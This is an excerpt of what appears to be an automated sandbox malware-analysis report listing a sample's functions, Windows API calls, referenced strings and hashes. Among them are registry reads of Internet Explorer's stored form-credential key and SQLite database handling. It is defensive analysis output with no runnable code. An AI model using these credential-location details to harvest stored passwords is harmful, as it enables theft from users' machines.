                                                                                                              • Opcode Fuzzy Hash: f04d55ffe867956f13ff29a0b22ee26a635b57cfc1c306c95c53cfde12d0b5a1
                                                                                                              • Instruction Fuzzy Hash: 58215E72900219BBDF21DF95CD4599BB7B8BF04358F40846AF948AB201EB74EA188BD4
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 004070BF Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52librarywindowCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • LoadLibraryExW.KERNEL32(netmsg.dll,00000000,00000002,?,00000000,?,?,004071E5,?,00000000,?,0040C6FE,00000000), ref: 004070E4
                                                                                                              • FormatMessageW.KERNEL32(00001100,00000000,?,00000400,00000000,00000000,00000000,?,00000000,?,?,004071E5,?,00000000,?,0040C6FE), ref: 00407102
                                                                                                              • wcslen.MSVCRT ref: 0040710F
                                                                                                              • wcscpy.MSVCRT ref: 0040711F
                                                                                                              • LocalFree.KERNEL32(00000000,?,00000400,00000000,00000000,00000000,?,00000000,?,?,004071E5,?,00000000,?,0040C6FE,00000000), ref: 00407129
                                                                                                              • wcscpy.MSVCRT ref: 00407139
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: wcscpy$FormatFreeLibraryLoadLocalMessagewcslen
                                                                                                              • String ID: Unknown Error$netmsg.dll
                                                                                                              • API String ID: 2767993716-572158859
                                                                                                              • Opcode ID: 26114b79388437db0e90dde86d0aa8455aeff93cef19d95b112ae8d9efa36594
                                                                                                              • Instruction ID: 89f566b746906e4e3228774242dd749435861e54522ca67c51f24cfbd45377e0
                                                                                                              • Opcode Fuzzy Hash: 26114b79388437db0e90dde86d0aa8455aeff93cef19d95b112ae8d9efa36594
                                                                                                              • Instruction Fuzzy Hash: 2301F231A08114BBEB145B61EC46E9FBB68EB05BA1F20007AF606F41D0DEB96F00969C
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040A97E Relevance: 14.0, APIs: 3, Strings: 5, Instructions: 42COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                                • Part of subcall function 00407548: GetFileAttributesW.KERNELBASE(?,0040A987,?,0040AA3E,00000000,?,00000000,00000208,?), ref: 0040754C
                                                                                                              • wcscpy.MSVCRT ref: 0040A998
                                                                                                              • wcscpy.MSVCRT ref: 0040A9A8
                                                                                                              • GetPrivateProfileIntW.KERNEL32 ref: 0040A9B9
                                                                                                                • Part of subcall function 0040A51E: GetPrivateProfileStringW.KERNEL32(004510D8,?,004434FC,00451160,?,00450EC8), ref: 0040A53A
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: PrivateProfilewcscpy$AttributesFileString
                                                                                                              • String ID: TranslatorName$TranslatorURL$charset$general$rtl
                                                                                                              • API String ID: 3176057301-2039793938
                                                                                                              • Opcode ID: 1673debe331e7a8ca134e50d5334904a3cc19ce9f9385a73b99b164dd8d493e6
                                                                                                              • Instruction ID: f715108fd1d236bc9ad6a323193eaeb919362f53399fbb1b2bc2ef5a739791b1
                                                                                                              • Opcode Fuzzy Hash: 1673debe331e7a8ca134e50d5334904a3cc19ce9f9385a73b99b164dd8d493e6
                                                                                                              • Instruction Fuzzy Hash: 33F0CD22EC035536E61176221D07F3E25088BA1B66F95447FBD08BA2D3DE7C4A14869E
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0042CD7E Relevance: 13.7, APIs: 2, Strings: 7, Instructions: 245COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Strings
                                                                                                              • out of memory, xrefs: 0042CFEC
                                                                                                              • database is already attached, xrefs: 0042CEA8
                                                                                                              • attached databases must use the same text encoding as main database, xrefs: 0042CEF6
                                                                                                              • too many attached databases - max %d, xrefs: 0042CDD7
                                                                                                              • cannot ATTACH database within transaction, xrefs: 0042CDED
                                                                                                              • database %s is already in use, xrefs: 0042CE4F
                                                                                                              • unable to open database: %s, xrefs: 0042CFD5
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memcpymemset
                                                                                                              • String ID: attached databases must use the same text encoding as main database$cannot ATTACH database within transaction$database %s is already in use$database is already attached$out of memory$too many attached databases - max %d$unable to open database: %s
                                                                                                              • API String ID: 1297977491-2001300268
                                                                                                              • Opcode ID: 9031da780ff69da590ffb3ad1101421015f0ee0ff19cf333b8a9ef6fce115eea
                                                                                                              • Instruction ID: 266062839a895961ad217d8ef2c4278de09ba8d71166d49c3bc68db0563119ae
                                                                                                              • Opcode Fuzzy Hash: 9031da780ff69da590ffb3ad1101421015f0ee0ff19cf333b8a9ef6fce115eea
                                                                                                              • Instruction Fuzzy Hash: BE91C171B00315AFDB20DF69D981B9EBBF1AF04308F64845FE8159B282D778EA41CB59
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040AFDA Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 160COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                                • Part of subcall function 0040ADBB: ??3@YAXPAX@Z.MSVCRT ref: 0040ADC7
                                                                                                                • Part of subcall function 0040ADBB: ??3@YAXPAX@Z.MSVCRT ref: 0040ADD5
                                                                                                                • Part of subcall function 0040ADBB: ??3@YAXPAX@Z.MSVCRT ref: 0040ADE6
                                                                                                                • Part of subcall function 0040ADBB: ??3@YAXPAX@Z.MSVCRT ref: 0040ADFD
                                                                                                                • Part of subcall function 0040ADBB: ??3@YAXPAX@Z.MSVCRT ref: 0040AE06
                                                                                                              • ??2@YAPAXI@Z.MSVCRT ref: 0040B01A
                                                                                                              • ??2@YAPAXI@Z.MSVCRT ref: 0040B036
                                                                                                              • memcpy.MSVCRT ref: 0040B05B
                                                                                                              • memcpy.MSVCRT ref: 0040B06F
                                                                                                              • ??2@YAPAXI@Z.MSVCRT ref: 0040B0F2
                                                                                                              • ??2@YAPAXI@Z.MSVCRT ref: 0040B0FC
                                                                                                              • ??2@YAPAXI@Z.MSVCRT ref: 0040B134
                                                                                                                • Part of subcall function 00409FF5: GetModuleHandleW.KERNEL32(00000000,?,?,0040B09A,?,0040E241,00000000,00000000,?), ref: 0040A034
                                                                                                                • Part of subcall function 00409FF5: LoadStringW.USER32(00000000,00000007,00000FFF,?), ref: 0040A0CD
                                                                                                                • Part of subcall function 00409FF5: memcpy.MSVCRT ref: 0040A10D
                                                                                                                • Part of subcall function 00409FF5: wcscpy.MSVCRT ref: 0040A076
                                                                                                                • Part of subcall function 00409FF5: wcslen.MSVCRT ref: 0040A094
                                                                                                                • Part of subcall function 00409FF5: GetModuleHandleW.KERNEL32(00000000,?,?,?,0040B09A,?,0040E241,00000000,00000000,?), ref: 0040A0A2
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: ??2@??3@$memcpy$HandleModule$LoadStringwcscpywcslen
                                                                                                              • String ID: ($d
                                                                                                              • API String ID: 1140211610-1915259565
                                                                                                              • Opcode ID: a1b8d91b40b9a9641280c8899b3b71ba829c77a87678312fcc7e8bf1b420e006
                                                                                                              • Instruction ID: 8a5fa3be38e8e11f26e8e9502e5dff09d3bfeaf4ce2a81799fe883ad29a31388
                                                                                                              • Opcode Fuzzy Hash: a1b8d91b40b9a9641280c8899b3b71ba829c77a87678312fcc7e8bf1b420e006
                                                                                                              • Instruction Fuzzy Hash: 50517872601700AFE728DF2AC586A5AB7E4FF48358F10852EE55ACB791DB74E940CB48
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 004150B6 Relevance: 13.6, APIs: 9, Instructions: 126filesleepCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: File$ErrorLastLockSleepUnlock
                                                                                                              • String ID:
                                                                                                              • API String ID: 3015003838-0
                                                                                                              • Opcode ID: 9f8ed0d04d3051dd5d2585b6ab40f83052c279f07ad27e494029b12bda0602be
                                                                                                              • Instruction ID: 880e68434f8ef122057b7821066ce039c6a6aeb50982fb6198a036ab3cbbf4dd
                                                                                                              • Opcode Fuzzy Hash: 9f8ed0d04d3051dd5d2585b6ab40f83052c279f07ad27e494029b12bda0602be
                                                                                                              • Instruction Fuzzy Hash: 7641F379504B42EFE3228F219C05BEBB7E0EFC0B15F20492FF59556240CBB9D9858E1A
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00415D4D Relevance: 13.6, APIs: 9, Instructions: 67sleepfileCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • DeleteFileW.KERNEL32(00000000,00000000,00000000,00000080,0045162C,00415469,00000000,?,00000000,00000000), ref: 00415D77
                                                                                                              • GetFileAttributesW.KERNEL32(00000000), ref: 00415D7E
                                                                                                              • GetLastError.KERNEL32 ref: 00415D8B
                                                                                                              • Sleep.KERNEL32(00000064), ref: 00415DA0
                                                                                                              • DeleteFileA.KERNEL32(00000000,00000000,00000000,00000080,0045162C,00415469,00000000,?,00000000,00000000), ref: 00415DA9
                                                                                                              • GetFileAttributesA.KERNEL32(00000000), ref: 00415DB0
                                                                                                              • GetLastError.KERNEL32 ref: 00415DBD
                                                                                                              • Sleep.KERNEL32(00000064), ref: 00415DD2
                                                                                                              • free.MSVCRT(00000000), ref: 00415DDB
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: File$AttributesDeleteErrorLastSleep$free
                                                                                                              • String ID:
                                                                                                              • API String ID: 2802642348-0
                                                                                                              • Opcode ID: 6ec6a6250f4bc7cdf171a96923757e46c1f9deb9adab3d10569e0c4ca2454acf
                                                                                                              • Instruction ID: 389b81331b8195f66de6fade72418799adbb9e1ccdce19076b3e4dce97b88e29
                                                                                                              • Opcode Fuzzy Hash: 6ec6a6250f4bc7cdf171a96923757e46c1f9deb9adab3d10569e0c4ca2454acf
                                                                                                              • Instruction Fuzzy Hash: 13118A39500E10DBC6203B747C8D6FF36249BD7B37B21832BF963952D1DA5948C2566A
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 004124C0 Relevance: 13.6, APIs: 3, Strings: 6, Instructions: 63COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memcpy
                                                                                                              • String ID: &amp;$&deg;$&gt;$&lt;$&quot;$<br>
                                                                                                              • API String ID: 3510742995-3273207271
                                                                                                              • Opcode ID: 449b515319a675a2a0fe7de20888cf946b50a79f9f1d785cd6ce0af7e4c5c8d6
                                                                                                              • Instruction ID: 1d27d4cf7977f40543be0eb13b72094ec5c0409efe485552fd301264f6eb4def
                                                                                                              • Opcode Fuzzy Hash: 449b515319a675a2a0fe7de20888cf946b50a79f9f1d785cd6ce0af7e4c5c8d6
                                                                                                              • Instruction Fuzzy Hash: 570145B6E54260F2FA3024058EE6FF30145CB62754FA40027F88AA02C0A1CD0EE3A29F
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00409657 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 107registryCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                                • Part of subcall function 00407EB8: free.MSVCRT(?,00408225,00000000,?,00000000), ref: 00407EBB
                                                                                                                • Part of subcall function 00407EB8: free.MSVCRT(?,?,00408225,00000000,?,00000000), ref: 00407EC3
                                                                                                                • Part of subcall function 00411B67: RegOpenKeyExW.KERNEL32 ref: 00411B7A
                                                                                                                • Part of subcall function 00408001: free.MSVCRT(?,00000000,?,004082EE,00000000,?,00000000), ref: 00408010
                                                                                                              • memset.MSVCRT ref: 004096C7
                                                                                                              • RegEnumValueW.ADVAPI32(?,00000000,?,000000FF,00000000,?,00000000,80000001), ref: 004096F5
                                                                                                              • _wcsupr.MSVCRT ref: 0040970F
                                                                                                                • Part of subcall function 00407EDE: wcslen.MSVCRT ref: 00407EF0
                                                                                                                • Part of subcall function 00407EDE: free.MSVCRT(?,00000001,?,00000000,?,?,0040833F,?,000000FF), ref: 00407F16
                                                                                                                • Part of subcall function 00407EDE: free.MSVCRT(?,00000001,?,00000000,?,?,0040833F,?,000000FF), ref: 00407F39
                                                                                                                • Part of subcall function 00407EDE: memcpy.MSVCRT ref: 00407F5D
                                                                                                              • memset.MSVCRT ref: 0040975E
                                                                                                              • RegEnumValueW.ADVAPI32(?,00000000,?,000000FF,00000000,?,00000000,80000001), ref: 00409789
                                                                                                              • RegCloseKey.ADVAPI32(?), ref: 00409796
                                                                                                              Strings
                                                                                                              • Software\Microsoft\Internet Explorer\IntelliForms\Storage2, xrefs: 00409674
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: free$EnumValuememset$CloseOpen_wcsuprmemcpywcslen
                                                                                                              • String ID: Software\Microsoft\Internet Explorer\IntelliForms\Storage2
                                                                                                              • API String ID: 4131475296-680441574
                                                                                                              • Opcode ID: 4edf4f35556499e99a9905e10d8b542405bf2b72c6e8e1cec08b7677914b6bc8
                                                                                                              • Instruction ID: ced938f56f23152dc4036b8c9c372f29a7907612beabbfd18841790b2154e098
                                                                                                              • Opcode Fuzzy Hash: 4edf4f35556499e99a9905e10d8b542405bf2b72c6e8e1cec08b7677914b6bc8
                                                                                                              • Instruction Fuzzy Hash: F84118B6D4011DABCB10EF99DD85AEFB7BCAF18304F1040AAB504F2191D7749B458BA4
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040A759 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 58COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • memset.MSVCRT ref: 0040A77E
                                                                                                              • GetDlgCtrlID.USER32 ref: 0040A789
                                                                                                              • GetWindowTextW.USER32 ref: 0040A7A0
                                                                                                              • memset.MSVCRT ref: 0040A7C7
                                                                                                              • GetClassNameW.USER32(?,?,000000FF), ref: 0040A7DE
                                                                                                              • _wcsicmp.MSVCRT ref: 0040A7F0
                                                                                                                • Part of subcall function 0040A62F: memset.MSVCRT ref: 0040A642
                                                                                                                • Part of subcall function 0040A62F: _itow.MSVCRT ref: 0040A650
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memset$ClassCtrlNameTextWindow_itow_wcsicmp
                                                                                                              • String ID: sysdatetimepick32
                                                                                                              • API String ID: 1028950076-4169760276
                                                                                                              • Opcode ID: 690b26e669973beaba76962047fb40553a53b69d8850747cc34062e580a6b82a
                                                                                                              • Instruction ID: 9d6a1000cc6d846fb7caa7b95204278ebeb8f13d5a9664e287c5e204bace7976
                                                                                                              • Opcode Fuzzy Hash: 690b26e669973beaba76962047fb40553a53b69d8850747cc34062e580a6b82a
                                                                                                              • Instruction Fuzzy Hash: E21177325002197AEB24EB91DD4AE9F77BCEF04750F4040B6F508E1192E7745A51CB69
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00419008 Relevance: 12.3, APIs: 6, Strings: 2, Instructions: 269COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memcpy$memset
                                                                                                              • String ID: -journal$-wal
                                                                                                              • API String ID: 438689982-2894717839
                                                                                                              • Opcode ID: 3fb32538101a96232d471ca328e00ad1292916094483904f8e7d4fc59e84f921
                                                                                                              • Instruction ID: 551b55634523189e5c53bd135c739114fe40c1c2f7e89174430398bb56853e76
                                                                                                              • Opcode Fuzzy Hash: 3fb32538101a96232d471ca328e00ad1292916094483904f8e7d4fc59e84f921
                                                                                                              • Instruction Fuzzy Hash: 54A1DEB1A00606BFDB14CFA4C8517DEBBB0BF04314F14856EE468D7381D778AA95CB99
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00441DE1 Relevance: 12.2, APIs: 3, Strings: 5, Instructions: 154COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • _wcsicmp.MSVCRT ref: 00441E61
                                                                                                              • _wcsicmp.MSVCRT ref: 00441E76
                                                                                                              • _wcsicmp.MSVCRT ref: 00441E8B
                                                                                                                • Part of subcall function 00407278: wcslen.MSVCRT ref: 00407287
                                                                                                                • Part of subcall function 00407278: wcslen.MSVCRT ref: 00407291
                                                                                                                • Part of subcall function 00407278: _memicmp.MSVCRT ref: 004072AC
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: _wcsicmp$wcslen$_memicmp
                                                                                                              • String ID: .save$http://$https://$log profile$signIn
                                                                                                              • API String ID: 1214746602-2708368587
                                                                                                              • Opcode ID: 7c97f00c0957198ec044a334814b20feb48abd6bee8cf84da93a3bd7193c5eb8
                                                                                                              • Instruction ID: 7a979a8a07820355720b76b8412d60638824142cd7e99aea4044fab4cdb489ca
                                                                                                              • Opcode Fuzzy Hash: 7c97f00c0957198ec044a334814b20feb48abd6bee8cf84da93a3bd7193c5eb8
                                                                                                              • Instruction Fuzzy Hash: A34146755487014AF7309A65898177773E8CB04329F308A2FF86BE26E2EB7CB4C6551E
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00404F8A Relevance: 12.1, APIs: 8, Instructions: 100windowCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: ??2@$??3@$FocusInvalidateRectmemset
                                                                                                              • String ID:
                                                                                                              • API String ID: 2313361498-0
                                                                                                              • Opcode ID: d7c0a7721a31805c69d97cf261503aa6b1f1ba47b90a3da7f912ba5fa534be44
                                                                                                              • Instruction ID: ba4bb41810d6ea78f7103a52efe52e464eccc4a9d5620aafabcd38e7c3fa5a1e
                                                                                                              • Opcode Fuzzy Hash: d7c0a7721a31805c69d97cf261503aa6b1f1ba47b90a3da7f912ba5fa534be44
                                                                                                              • Instruction Fuzzy Hash: 2331D3B1501601BFDB24AF69D94692AF7B8FF04304B10813EF145EB291D778EC90CB94
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00404F89 Relevance: 12.1, APIs: 8, Instructions: 99windowCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: ??2@$??3@$FocusInvalidateRectmemset
                                                                                                              • String ID:
                                                                                                              • API String ID: 2313361498-0
                                                                                                              • Opcode ID: 5d2a783524c7ca9d056c4343f32968a2b7cbd50d00326e4d9426cfb9962a5a57
                                                                                                              • Instruction ID: 11ac75404ef2612e5573b73209998dfab770260709fff3ffe1a0c210563511a1
                                                                                                              • Opcode Fuzzy Hash: 5d2a783524c7ca9d056c4343f32968a2b7cbd50d00326e4d9426cfb9962a5a57
                                                                                                              • Instruction Fuzzy Hash: BE31D1B1501601BFEB24AF69D98692AB7B4FF04304B10813EF146EB291CB78EC90CB94
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040D0C3 Relevance: 12.1, APIs: 8, Instructions: 76COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • GetClientRect.USER32 ref: 0040D0E2
                                                                                                              • GetWindowRect.USER32 ref: 0040D0F8
                                                                                                              • GetWindowRect.USER32 ref: 0040D10B
                                                                                                              • BeginDeferWindowPos.USER32 ref: 0040D128
                                                                                                              • DeferWindowPos.USER32(?,?,00000000,00000000,00000000,?,?,00000004), ref: 0040D145
                                                                                                              • DeferWindowPos.USER32(?,?,00000000,00000000,?,?,?,00000006), ref: 0040D165
                                                                                                              • DeferWindowPos.USER32(?,?,00000000,00000000,?,?,?,00000004), ref: 0040D18C
                                                                                                              • EndDeferWindowPos.USER32(?), ref: 0040D195
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: Window$Defer$Rect$BeginClient
                                                                                                              • String ID:
                                                                                                              • API String ID: 2126104762-0
                                                                                                              • Opcode ID: 3e059de2c2a39fa097f99da28ed46862c9af8e23a81d8ce39be14bc790b9e9d0
                                                                                                              • Instruction ID: 1b30ad45943261d114c7945feb8e2d934b1f0a15928f611d2c59e033839f0f44
                                                                                                              • Opcode Fuzzy Hash: 3e059de2c2a39fa097f99da28ed46862c9af8e23a81d8ce39be14bc790b9e9d0
                                                                                                              • Instruction Fuzzy Hash: 5F21D875900209FFDB11DFA8CD89FEEBBB9FB48701F104164F655A2160C771AA519B24
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 004072FB Relevance: 12.0, APIs: 8, Instructions: 42clipboardmemoryCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • EmptyClipboard.USER32 ref: 00407303
                                                                                                              • wcslen.MSVCRT ref: 00407310
                                                                                                              • GlobalAlloc.KERNEL32(00002000,00000002,?,?,?,?,0040D79F,-00000210), ref: 00407320
                                                                                                              • GlobalLock.KERNEL32 ref: 0040732D
                                                                                                              • memcpy.MSVCRT ref: 00407336
                                                                                                              • GlobalUnlock.KERNEL32(00000000), ref: 0040733F
                                                                                                              • SetClipboardData.USER32 ref: 00407348
                                                                                                              • CloseClipboard.USER32 ref: 00407358
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: ClipboardGlobal$AllocCloseDataEmptyLockUnlockmemcpywcslen
                                                                                                              • String ID:
                                                                                                              • API String ID: 1213725291-0
                                                                                                              • Opcode ID: 5ed3c7ed2292a9e609788bd9d251ea61b7faa26044294d95fe65c060bebd8173
                                                                                                              • Instruction ID: e9f640a6ba64593c4f3b5e3a0a2b414f675f529f5a9edaa6aa7e0ad5043136ba
                                                                                                              • Opcode Fuzzy Hash: 5ed3c7ed2292a9e609788bd9d251ea61b7faa26044294d95fe65c060bebd8173
                                                                                                              • Instruction Fuzzy Hash: 14F0B43B5002187BD2102FE5AC4DE1B772CEB86F97B050179FA09D2251DE749E0486B9
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00404BC7 Relevance: 10.6, APIs: 7, Instructions: 125windowCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • GetDlgItem.USER32(?,000003E9), ref: 00404BDE
                                                                                                              • SendMessageW.USER32(00000000,00001009,00000000,00000000), ref: 00404BF7
                                                                                                              • SendMessageW.USER32(?,00001036,00000000,00000026), ref: 00404C04
                                                                                                              • SendMessageW.USER32(?,0000101C,00000000,00000000), ref: 00404C10
                                                                                                              • memset.MSVCRT ref: 00404C74
                                                                                                              • SendMessageW.USER32(?,0000105F,?,?), ref: 00404CA9
                                                                                                              • SetFocus.USER32 ref: 00404D2F
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: MessageSend$FocusItemmemset
                                                                                                              • String ID:
                                                                                                              • API String ID: 4281309102-0
                                                                                                              • Opcode ID: b5c774997c69c828c2af66cc8dd4e73b805abc013e05c1adb9cb4e53f9af2a7c
                                                                                                              • Instruction ID: e15596ac8dd535375262745d85448c61c7cc278dece76afc2af43b7580886122
                                                                                                              • Opcode Fuzzy Hash: b5c774997c69c828c2af66cc8dd4e73b805abc013e05c1adb9cb4e53f9af2a7c
                                                                                                              • Instruction Fuzzy Hash: 8B417C70901219BBDB20DF95CD85DAFBFB8FF08755F10406AF509A6291D3749E40CBA4
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040BD8C Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 104COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                                • Part of subcall function 00407176: wcslen.MSVCRT ref: 00407183
                                                                                                                • Part of subcall function 00407176: WriteFile.KERNEL32(00000001,00000000,00000000,00000000,00000000), ref: 00407192
                                                                                                              • wcscat.MSVCRT ref: 0040BE5B
                                                                                                              • _snwprintf.MSVCRT ref: 0040BE82
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: FileWrite_snwprintfwcscatwcslen
                                                                                                              • String ID: &nbsp;$<td bgcolor=#%s nowrap>%s$<td bgcolor=#%s>%s$<tr>
                                                                                                              • API String ID: 2451617256-4153097237
                                                                                                              • Opcode ID: 69f2f7e6d8aec51d3960e337bc25a82fe45133c58c4b8b76eb8eb5bfe9207b33
                                                                                                              • Instruction ID: be6843ca6d8e3427859c99e4dc5891dee3dff4c22b8a3cb8274265ecf8740657
                                                                                                              • Opcode Fuzzy Hash: 69f2f7e6d8aec51d3960e337bc25a82fe45133c58c4b8b76eb8eb5bfe9207b33
